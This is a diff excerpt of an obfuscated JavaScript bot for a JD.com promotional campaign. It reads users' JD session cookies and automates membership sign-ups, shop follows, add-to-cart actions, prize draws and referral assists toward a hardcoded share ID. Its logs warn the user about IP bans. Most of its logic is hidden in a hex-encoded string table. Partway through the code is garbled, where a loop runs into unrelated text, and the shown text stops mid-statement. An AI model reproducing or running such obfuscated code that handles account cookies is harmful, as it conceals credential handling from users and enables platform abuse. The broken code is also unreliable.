+*/ +let guaopencard_addSku = "false" +let guaopencard = "false" +let guaopenwait = "0" + +const $ = new Env('10.11~10.26 惠聚京东 好物连连'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie + +var _0xode='jsjiami.com.v6',_0x2a8b=[_0xode,'\x69\x73\x4e\x6f\x64\x65','\x6b\x65\x79\x73','\x66\x6f\x72\x45\x61\x63\x68','\x70\x75\x73\x68','\x65\x6e\x76','\x4a\x44\x5f\x44\x45\x42\x55\x47','\x66\x61\x6c\x73\x65','\x6c\x6f\x67','\x67\x65\x74\x64\x61\x74\x61','\x43\x6f\x6f\x6b\x69\x65\x4a\x44','\x43\x6f\x6f\x6b\x69\x65\x4a\x44\x32','\x43\x6f\x6f\x6b\x69\x65\x73\x4a\x44','\x6d\x61\x70','\x63\x6f\x6f\x6b\x69\x65','\x66\x69\x6c\x74\x65\x72','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x5f\x41\x6c\x6c','\x68\x6f\x74\x46\x6c\x61\x67','\x6f\x75\x74\x46\x6c\x61\x67','\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6e\x64','\x74\x72\x75\x65','\u5982\u9700\u6267\u884c\u811a\u672c\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x34\x33\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x6d\x73\x67','\x6e\x61\x6d\x65','\u3010\u63d0\u793a\u3011\u8bf7\u5148\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\x0a\u76f4\u63a5\u4f7f\u7528\x4e\x6f\x62\x79\x44\x61\u7684\u4eac\u4e1c\u7b7e\u5230\u83b7\u53d6','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x65\x61\x6e\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x6c\x6c\x6b\x32\x30\x32\x31\x31\x30\x31\x31','\x73\x68\x61\x72\x65\x55\x75\x69\x64','\x34\x66\x64\x37\x32\x62\x32\x63\x61\x31\x61\x31\x34\x65\x37\x35\x61\x37\x62\x35\x63\x62\x35\x37\x65\x30\x65\x39\x64\x39\x31\x66','\u5165\u53e3\x3a\x0a\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x63\x75\x73\x74\x6f\x6d\x69\x7a\x65\x64\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x6c\x65\x6e\x67\x74\x68','\x55\x73\x65\x72\x4e\x61\x6d\x65','\x6d\x61\x74\x63\x68','\x69\x6e\x64\x65\x78','\x62\x65\x61\x6e','\x6e\x69\x63\x6b\x4e\x61\x6d\x65','\x0a\x0a\x2a\x2a\x2a\x2a\x2a\x2a\u5f00\u59cb\u3010\u4eac\u4e1c\u8d26\u53f7','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a','\x61\x63\x74\x6f\x72\x55\x75\x69\x64','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c','\x73\x65\x6e\x64\x4e\x6f\x74\x69\x66\x79','\x63\x61\x74\x63\x68','\x6c\x6f\x67\x45\x72\x72','\x66\x69\x6e\x61\x6c\x6c\x79','\x64\x6f\x6e\x65','\x68\x61\x73\x45\x6e\x64','\x65\x6e\x64\x54\x69\x6d\x65','\x54\x6f\x6b\x65\x6e','\x50\x69\x6e','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\u83b7\u53d6\x5b\x74\x6f\x6b\x65\x6e\x5d\u5931\u8d25\uff01','\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\u5931\u8d25','\u6d3b\u52a8\u7ed3\u675f','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c\x0a','\x67\x65\x74\x53\x69\x6d\x70\x6c\x65\x41\x63\x74\x49\x6e\x66\x6f\x56\x6f','\x67\x65\x74\x4d\x79\x50\x69\x6e\x67','\u83b7\u53d6\x5b\x50\x69\x6e\x5d\u5931\u8d25\uff01','\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x67\x65\x74\x55\x73\x65\x72\x49\x6e\x66\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6f\x6e\x74\x65\x6e\x74','\u83b7\u53d6\u4e0d\u5230\x5b\x61\x63\x74\x6f\x72\x55\x75\x69\x64\x5d\u9000\u51fa\u6267\u884c\uff0c\u8bf7\u91cd\u65b0\u6267\u884c','\x6e\x6f\x77','\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x77\x61\x69\x74','\x6f\x70\x65\x6e\x4c\x69\x73\x74','\x61\x6c\x6c\x4f\x70\x65\x6e\x43\x61\x72\x64','\x69\x6e\x66\x6f','\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\u5f00\u5361\u4efb\u52a1','\x6f\x70\x65\x6e\x43\x61\x72\x64','\x73\x74\x61\x74\x75\x73','\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64','\x76\x65\x6e\x64\x65\x72\x49\x64','\x72\x61\x6e\x64\x6f\x6d','\u5df2\u5168\u90e8\u5f00\u5361','\u5173\u6ce8\x3a\x20','\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\x79\x61\x6f\x71\x69\x6e\x67','\u7b7e\u5230\x3a\x20','\x73\x69\x67\x6e','\u52a0\u8d2d\x3a\x20','\x61\x64\x64\x43\x61\x72\x74','\u5982\u9700\u52a0\u8d2d\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x34\x33\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x72\x75\x6e\x46\x61\x6c\x61\x67','\u6d4f\u89c8\u5546\u54c1\x3a\x20','\x76\x69\x73\x69\x74\x53\x6b\x75','\x76\x69\x73\x69\x74\x53\x6b\x75\x4c\x69\x73\x74','\x67\x6f\x6f\x64\x73\x43\x6f\x64\x65','\x76\x69\x73\x69\x74\x53\x6b\x75\x56\x61\x6c\x75\x65','\x62\x72\x6f\x77\x73\x65\x47\x6f\x6f\x64\x73','\x64\x72\x61\x77\x43\x6f\x75\x6e\x74','\u6b21\u62bd\u5956','\x73\x74\x61\x72\x74\x44\x72\x61\x77','\x73\x63\x6f\x72\x65','\u503c\x20\u6e38\u620f\x3a','\x70\x6f\x69\x6e\x74','\x67\x65\x74\x44\x72\x61\x77\x52\x65\x63\x6f\x72\x64\x48\x61\x73\x43\x6f\x75\x70\x6f\x6e','\x67\x65\x74\x53\x68\x61\x72\x65\x52\x65\x63\x6f\x72\x64','\u5f53\u524d\u52a9\u529b\x3a','\u540e\u9762\u7684\u53f7\u90fd\u4f1a\u52a9\u529b\x3a','\u4f11\u606f\x31\u5206\u949f\uff0c\u522b\u88ab\u9ed1\x69\x70\u4e86\x0a\u53ef\u6301\u7eed\u53d1\u5c55','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d','\x50\x4f\x53\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x75\x72\x6c\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3d\x66\x36\x38\x35\x39\x34\x62\x64\x38\x34\x63\x65\x30\x30\x61\x38\x39\x63\x62\x35\x33\x66\x39\x34\x33\x36\x33\x30\x30\x64\x65\x66\x65\x63\x65\x64\x62\x64\x62\x30\x26\x63\x6c\x69\x65\x6e\x74\x3d\x61\x70\x70\x6c\x65\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x31\x30\x2e\x31\x2e\x34\x26\x73\x74\x3d\x31\x36\x33\x33\x39\x32\x32\x37\x36\x34\x36\x33\x39\x26\x73\x76\x3d\x31\x31\x31\x26\x73\x69\x67\x6e\x3d\x66\x61\x66\x32\x30\x35\x38\x66\x35\x34\x65\x38\x65\x36\x30\x65\x63\x63\x35\x35\x66\x33\x65\x30\x30\x36\x33\x35\x63\x38\x36\x62','\x2f\x64\x7a\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x67\x65\x74\x53\x69\x6d\x70\x6c\x65\x41\x63\x74\x49\x6e\x66\x6f\x56\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x2f\x63\x75\x73\x74\x6f\x6d\x65\x72\x2f\x67\x65\x74\x4d\x79\x50\x69\x6e\x67','\x75\x73\x65\x72\x49\x64\x3d','\x73\x68\x6f\x70\x49\x64','\x26\x74\x6f\x6b\x65\x6e\x3d','\x26\x66\x72\x6f\x6d\x54\x79\x70\x65\x3d\x41\x50\x50','\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x2f\x64\x72\x61\x77\x43\x65\x6e\x74\x65\x72\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x76\x65\x6e\x64\x65\x72\x49\x64\x3d','\x26\x63\x6f\x64\x65\x3d\x39\x39\x26\x70\x69\x6e\x3d','\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x70\x61\x67\x65\x55\x72\x6c\x3d','\x26\x73\x75\x62\x54\x79\x70\x65\x3d\x61\x70\x70\x26\x61\x64\x53\x6f\x75\x72\x63\x65\x3d','\x2f\x77\x78\x41\x63\x74\x69\x6f\x6e\x43\x6f\x6d\x6d\x6f\x6e\x2f\x67\x65\x74\x55\x73\x65\x72\x49\x6e\x66\x6f','\x70\x69\x6e\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x2f\x63\x6f\x6e\x74\x65\x6e\x74','\x26\x70\x69\x6e\x3d','\x26\x70\x69\x6e\x49\x6d\x67\x3d','\x61\x74\x74\x72\x54\x6f\x75\x58\x69\x61\x6e\x67','\x26\x6e\x69\x63\x6b\x3d','\x6e\x69\x63\x6b\x6e\x61\x6d\x65','\x26\x63\x6a\x79\x78\x50\x69\x6e\x3d\x26\x63\x6a\x68\x79\x50\x69\x6e\x3d\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x74\x61\x73\x6b\x61\x63\x74\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x74\x61\x73\x6b\x2f\x69\x6e\x66\x6f','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x64\x72\x61\x77\x2f\x62\x65\x61\x6e','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x66\x6f\x6c\x6c\x6f\x77\x2f\x73\x68\x6f\x70','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f','\x26\x76\x61\x6c\x75\x65\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x73\x73\x69\x73\x74','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x73\x73\x69\x73\x74\x2f\x73\x74\x61\x74\x75\x73','\x76\x69\x65\x77\x56\x69\x64\x65\x6f','\x74\x6f\x53\x68\x6f\x70','\x61\x64\x64\x53\x6b\x75','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x64\x7a\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x61\x76\x65\x54\x61\x73\x6b','\x74\x6f\x53\x68\x6f\x70\x56\x61\x6c\x75\x65','\x61\x64\x64\x53\x6b\x75\x56\x61\x6c\x75\x65','\x26\x61\x63\x74\x6f\x72\x55\x75\x69\x64\x3d','\x26\x74\x61\x73\x6b\x54\x79\x70\x65\x3d','\x26\x74\x61\x73\x6b\x56\x61\x6c\x75\x65\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x64\x72\x61\x77\x2f\x72\x65\x63\x6f\x72\x64','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x68\x65\x6c\x70\x2f\x6c\x69\x73\x74','\x70\x6f\x73\x74','\x73\x74\x61\x74\x75\x73\x43\x6f\x64\x65','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x74\x6f\x53\x74\x72','\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x70\x61\x72\x73\x65','\x20\u6267\u884c\u4efb\u52a1\u5f02\u5e38','\x6f\x62\x6a\x65\x63\x74','\x65\x72\x72\x63\x6f\x64\x65','\x74\x6f\x6b\x65\x6e','\x6d\x65\x73\x73\x61\x67\x65','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x20','\x72\x65\x73\x75\x6c\x74','\x64\x61\x74\x61','\x65\x72\x72\x6f\x72\x4d\x65\x73\x73\x61\x67\x65','\x73\x65\x63\x72\x65\x74\x50\x69\x6e','\x79\x75\x6e\x4d\x69\x64\x49\x6d\x61\x67\x65\x55\x72\x6c','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x6d\x67\x31\x30\x2e\x33\x36\x30\x62\x75\x79\x69\x6d\x67\x2e\x63\x6f\x6d\x2f\x69\x6d\x67\x7a\x6f\x6e\x65\x2f\x6a\x66\x73\x2f\x74\x31\x2f\x37\x30\x32\x30\x2f\x32\x37\x2f\x31\x33\x35\x31\x31\x2f\x36\x31\x34\x32\x2f\x35\x63\x35\x31\x33\x38\x64\x38\x45\x34\x64\x66\x32\x65\x37\x36\x34\x2f\x35\x61\x31\x32\x31\x36\x61\x33\x61\x35\x30\x34\x33\x63\x35\x64\x2e\x70\x6e\x67','\x61\x63\x74\x69\x76\x69\x74\x79','\x69\x73\x45\x6e\x64','\x61\x63\x74\x6f\x72','\x63\x61\x72\x64\x4c\x69\x73\x74\x31','\x63\x61\x72\x64\x4c\x69\x73\x74\x32','\x63\x61\x72\x64\x4c\x69\x73\x74','\x6f\x70\x65\x6e\x43\x61\x72\x64\x4c\x69\x73\x74','\x6f\x70\x65\x6e\x43\x61\x72\x64\x53\x63\x6f\x72\x65\x31','\x73\x63\x6f\x72\x65\x31','\x6f\x70\x65\x6e\x43\x61\x72\x64\x53\x63\x6f\x72\x65\x32','\x73\x63\x6f\x72\x65\x32','\x64\x72\x61\x77\x53\x63\x6f\x72\x65','\x61\x64\x64\x42\x65\x61\x6e\x4e\x75\x6d','\x61\x64\x64\x50\x6f\x69\x6e\x74','\u6e38\u620f\u673a\u4f1a','\x62\x65\x61\x6e\x4e\x75\x6d\x4d\x65\x6d\x62\x65\x72','\x61\x73\x73\x69\x73\x74\x53\x65\x6e\x64\x53\x74\x61\x74\x75\x73','\x20\u989d\u5916\u83b7\u5f97\x3a','\u70ed\u95e8\u6587\u7ae0','\u6d4f\u89c8\u5e97\u94fa','\u6d4f\u89c8\u5546\u54c1','\x64\x72\x61\x77\x4f\x6b','\x64\x72\x61\x77\x49\x6e\x66\x6f\x54\x79\x70\x65','\u7a7a\u6c14\ud83d\udca8','\u83b7\u5f97\x3a','\u6211\u7684\u5956\u54c1\uff1a','\x72\x65\x63\x6f\x72\x64\x4c\x69\x73\x74','\x69\x6e\x66\x6f\x4e\x61\x6d\x65','\x32\x30\u4eac\u8c46','\x72\x65\x70\x6c\x61\x63\x65','\x69\x6e\x66\x6f\x54\x79\x70\x65','\x76\x61\x6c\x75\x65','\u9080\u8bf7\u597d\u53cb\x28','\x53\x68\x61\x72\x65\x43\x6f\x75\x6e\x74','\x73\x68\x61\x72\x65\x4c\x69\x73\x74','\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x20\u4f60\u9080\u8bf7\u4e86\x3a','\u52a9\u529b\u6210\u529f','\u5df2\u7ecf\u52a9\u529b\u8fc7','\u5df2\u7ecf\u52a9\u529b\u5176\u4ed6\u4eba','\x2d\x3e\x20','\x69\x6e\x64\x65\x78\x4f\x66','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e','\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x2c\x20\x62\x72','\x7a\x68\x2d\x63\x6e','\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64','\x58\x4d\x4c\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74','\x52\x65\x66\x65\x72\x65\x72','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x63\x75\x73\x74\x6f\x6d\x69\x7a\x65\x64\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x43\x6f\x6f\x6b\x69\x65','\x41\x55\x54\x48\x5f\x43\x5f\x55\x53\x45\x52\x3d','\x67\x65\x74','\x20\x63\x6f\x6f\x6b\x69\x65\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\u6d3b\u52a8\u5df2\u7ed3\u675f','\x68\x65\x61\x64\x65\x72\x73','\x73\x65\x74\x2d\x63\x6f\x6f\x6b\x69\x65','\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65','\x73\x70\x6c\x69\x74','\x74\x72\x69\x6d','\x4c\x5a\x5f\x54\x4f\x4b\x45\x4e\x5f\x4b\x45\x59\x3d','\x4c\x5a\x5f\x54\x4f\x4b\x45\x4e\x5f\x56\x41\x4c\x55\x45\x3d','\x6c\x7a\x5f\x6a\x64\x70\x69\x6e\x5f\x74\x6f\x6b\x65\x6e\x3d','\x6a\x64\x61\x70\x70\x3b\x69\x50\x68\x6f\x6e\x65\x3b\x31\x30\x2e\x31\x2e\x34\x3b\x31\x33\x2e\x31\x2e\x32\x3b','\x3b\x6e\x65\x74\x77\x6f\x72\x6b\x2f\x77\x69\x66\x69\x3b\x6d\x6f\x64\x65\x6c\x2f\x69\x50\x68\x6f\x6e\x65\x38\x2c\x31\x3b\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2f\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3b\x61\x70\x70\x42\x75\x69\x6c\x64\x2f\x31\x36\x37\x38\x31\x34\x3b\x6a\x64\x53\x75\x70\x70\x6f\x72\x74\x44\x61\x72\x6b\x4d\x6f\x64\x65\x2f\x30\x3b\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x31\x5f\x32\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x3b\x73\x75\x70\x70\x6f\x72\x74\x4a\x44\x53\x48\x57\x4b\x2f\x31','\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39','\x63\x68\x61\x72\x41\x74','\x66\x6c\x6f\x6f\x72','\x6a\x41\x51\x73\x6a\x57\x69\x61\x6d\x4f\x58\x72\x68\x45\x41\x69\x64\x2e\x63\x45\x47\x77\x43\x51\x50\x6f\x6d\x2e\x76\x51\x5a\x36\x3d\x3d'];var _0x3a6d=function(_0x50b579,_0x1a4950){_0x50b579=~~'0x'['concat'](_0x50b579);var _0x4606cd=_0x2a8b[_0x50b579];return _0x4606cd;};(function(_0xe884da,_0x5f5d37){var _0x4534d8=0x0;for(_0x5f5d37=_0xe884da['shift'](_0x4534d8>>0x2);_0x5f5d37&&_0x5f5d37!==(_0xe884da['pop'](_0x4534d8>>0x3)+'')['replace'](/[AQWOXrhEAdEGwCQPQZ=]/g,'');_0x4534d8++){_0x4534d8=_0x4534d8^0xadd7e;}}(_0x2a8b,_0x3a6d));let cookiesArr=[],cookie='';if($[_0x3a6d('0')]()){Object[_0x3a6d('1')](jdCookieNode)[_0x3a6d('2')](_0x2e1d0e=>{cookiesArr[_0x3a6d('3')](jdCookieNode[_0x2e1d0e]);});if(process[_0x3a6d('4')][_0x3a6d('5')]&&process[_0x3a6d('4')][_0x3a6d('5')]===_0x3a6d('6'))console[_0x3a6d('7')]=()=>{};}else{cookiesArr=[$[_0x3a6d('8')](_0x3a6d('9')),$[_0x3a6d('8')](_0x3a6d('a')),...jsonParse($[_0x3a6d('8')](_0x3a6d('b'))||'\x5b\x5d')[_0x3a6d('c')](_0x832422=>_0x832422[_0x3a6d('d')])][_0x3a6d('e')](_0x31bf20=>!!_0x31bf20);}guaopencard_addSku=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('f')]?process[_0x3a6d('4')][_0x3a6d('f')]:''+guaopencard_addSku:$[_0x3a6d('8')](_0x3a6d('f'))?$[_0x3a6d('8')](_0x3a6d('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('10')]?process[_0x3a6d('4')][_0x3a6d('10')]:''+guaopencard_addSku:$[_0x3a6d('8')](_0x3a6d('10'))?$[_0x3a6d('8')](_0x3a6d('10')):''+guaopencard_addSku;guaopencard=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('11')]?process[_0x3a6d('4')][_0x3a6d('11')]:''+guaopencard:$[_0x3a6d('8')](_0x3a6d('11'))?$[_0x3a6d('8')](_0x3a6d('11')):''+guaopencard;guaopencard=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('12')]?process[_0x3a6d('4')][_0x3a6d('12')]:''+guaopencard:$[_0x3a6d('8')](_0x3a6d('12'))?$[_0x3a6d('8')](_0x3a6d('12')):''+guaopencard;guaopenwait=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('13')]?process[_0x3a6d('4')][_0x3a6d('13')]:''+guaopenwait:$[_0x3a6d('8')](_0x3a6d('13'))?$[_0x3a6d('8')](_0x3a6d('13')):''+guaopenwait;guaopenwait=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('14')]?process[_0x3a6d('4')][_0x3a6d('14')]:''+guaopenwait:$[_0x3a6d('8')](_0x3a6d('14'))?$[_0x3a6d('8')](_0x3a6d('14')):''+guaopenwait;guaopenwait=parseInt(guaopenwait,0xa)||0x0;allMessage='';message='';$[_0x3a6d('15')]=![];$[_0x3a6d('16')]=![];$[_0x3a6d('17')]=![];let lz_jdpin_token_cookie='';let activityCookie='';!(async()=>{if($[_0x3a6d('0')]()){if(guaopencard+''!=_0x3a6d('18')){console[_0x3a6d('7')](_0x3a6d('19'));}if(guaopencard+''!=_0x3a6d('18')){return;}}if(!cookiesArr[0x0]){$[_0x3a6d('1a')]($[_0x3a6d('1b')],_0x3a6d('1c'),_0x3a6d('1d'),{'open-url':_0x3a6d('1d')});return;}$[_0x3a6d('1e')]=_0x3a6d('1f');$[_0x3a6d('20')]=_0x3a6d('21');console[_0x3a6d('7')](_0x3a6d('22')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')]);for(let _0x3e310f=0x0;_0x3e310f$[_0x3a6d('30')](_0x278db3))[_0x3a6d('31')](()=>$[_0x3a6d('32')]());async function run(){try{$[_0x3a6d('33')]=!![];$[_0x3a6d('34')]=0x0;lz_jdpin_token_cookie='';$[_0x3a6d('35')]='';$[_0x3a6d('36')]='';let _0x444366=![];await takePostRequest(_0x3a6d('37'));if($[_0x3a6d('35')]==''){console[_0x3a6d('7')](_0x3a6d('38'));return;}await getCk();if(activityCookie==''){console[_0x3a6d('7')](_0x3a6d('39'));return;}if($[_0x3a6d('17')]===!![]){console[_0x3a6d('7')](_0x3a6d('3a'));return;}if($[_0x3a6d('16')]){console[_0x3a6d('7')](_0x3a6d('3b'));return;}await takePostRequest(_0x3a6d('3c'));await takePostRequest(_0x3a6d('3d'));if(!$[_0x3a6d('36')]){console[_0x3a6d('7')](_0x3a6d('3e'));return;}await takePostRequest(_0x3a6d('3f'));await takePostRequest(_0x3a6d('40'));await takePostRequest(_0x3a6d('41'));if(!$[_0x3a6d('2c')]){console[_0x3a6d('7')](_0x3a6d('42'));return;}if($[_0x3a6d('33')]===!![]||Date[_0x3a6d('43')]()>$[_0x3a6d('34')]){$[_0x3a6d('17')]=!![];console[_0x3a6d('7')](_0x3a6d('3a'));return;}await takePostRequest(_0x3a6d('44'));await $[_0x3a6d('45')](0x3e8);$[_0x3a6d('46')]=[];$[_0x3a6d('47')]=![];await takePostRequest(_0x3a6d('48'));await takePostRequest(_0x3a6d('49'));if($[_0x3a6d('47')]==![]){console[_0x3a6d('7')](_0x3a6d('4a'));for(o of $[_0x3a6d('46')]){$[_0x3a6d('4b')]=![];if(o[_0x3a6d('4c')]==0x0){_0x444366=!![];$[_0x3a6d('4d')]=o[_0x3a6d('4e')];await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0xbb8,0xa));await joinShop();await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x3e8,0xa));await takePostRequest(_0x3a6d('41'));await takePostRequest(_0x3a6d('44'));await takePostRequest(_0x3a6d('49'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0x7d0,0xa));}}}else{console[_0x3a6d('7')](_0x3a6d('50'));}$[_0x3a6d('7')](_0x3a6d('51')+$[_0x3a6d('52')]);if(!$[_0x3a6d('52')]&&!$[_0x3a6d('16')]){_0x444366=!![];await takePostRequest(_0x3a6d('52'));await 